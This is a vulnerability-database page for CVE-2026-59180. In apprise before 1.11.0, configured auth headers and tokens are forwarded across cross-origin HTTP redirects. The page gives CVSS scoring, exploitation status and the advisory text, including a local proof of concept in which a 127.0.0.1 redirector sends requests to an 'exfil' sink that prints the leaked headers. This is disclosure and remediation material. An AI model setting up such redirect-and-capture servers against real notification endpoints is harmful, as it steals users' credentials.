VulnerabilityPublished 15 Oct 2026Updated 29 Oct 2026

CVE-2026-59180: Apprise forwards configured auth headers across cross-origin HTTP redirects

Affects appriseSource GCVE Database

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Mentioned vulnerabilities

CVE-2026-44431

Authoritative record:CVE-2026-59180· Low 3.1

Not known to be exploited · CVSS 3.1 Low : upgrade to 1.11.0 when convenient.

Data as of 30 Oct 2026, 05:15 UTC

CVSS 3.1 base score

3.1Low

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 1.11.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Attack Vector: Network
Attack Complexity: High
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality: Low
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 10 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade apprise to 1.11.0.

Affected software

Product	Affected	Fixed in
Homebrewapprise`pkg:brew/apprise`Other threats	Affected >=1.5.0 <1.11.0	Fixed in 1.11.0

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Description

# Summary Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and **re-send the user-configured auth headers and query parameters on the redirected request**. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does **not** need to control the original Apprise URL — only the response from a destination the operator already trusts. This is the application-layer analogue of urllib3 [`GHSA-34jh-p97f-mpxf`](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / `CVE-2026-44431` ("`Proxy-Authorization` forwarded across cross-origin redirect"). # Affected versions All releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes [PR #1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d). # Details `apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim): ```python headers = { "User-Agent": self.app_id, "Content-Type": "application/json", "X-Gotify-Key": self.token, # user-supplied secret } ... r = requests.post( url, data=dumps(payload), headers=headers, verify=self.verify_certificate, timeout=self.request_timeout, # NO allow_redirects=False -- requests default is True ) ``` `requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`. ## Reproduction (local, safe) ```python # attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): self.send_response(302) self.send_header("Location", "http://127.0.0.1:8082/exfil") self.end_headers() http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever() ``` ```python # attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): print("LEAKED HEADERS:", dict(self.headers)) self.send_response(204); self.end_headers() http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever() ``` ```python # victim from apprise import Apprise a = Apprise() a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN") a.notify(body="x") ``` Observed on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect. # Patch Fix landed in [`caronc/apprise#1610`](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit `68c0aef`): - Adds `?redirect=yes|no` URL parameter on every plugin URL - Adds `AppriseAsset.http_redirects` global default - Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py` The default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally. Released in v1.11.0 (2026-05-29, available on PyPI). Related: - Documentation: [`caronc/apprise-docs#60`](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16) - API counterpart: [`caronc/apprise-api#331`](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0) # Remediation Upgrade to Apprise v1.11.0 or later (`pip install -U apprise`). The default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL. If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model). # Classification - **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request. - **CWE-601** URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured. CVS

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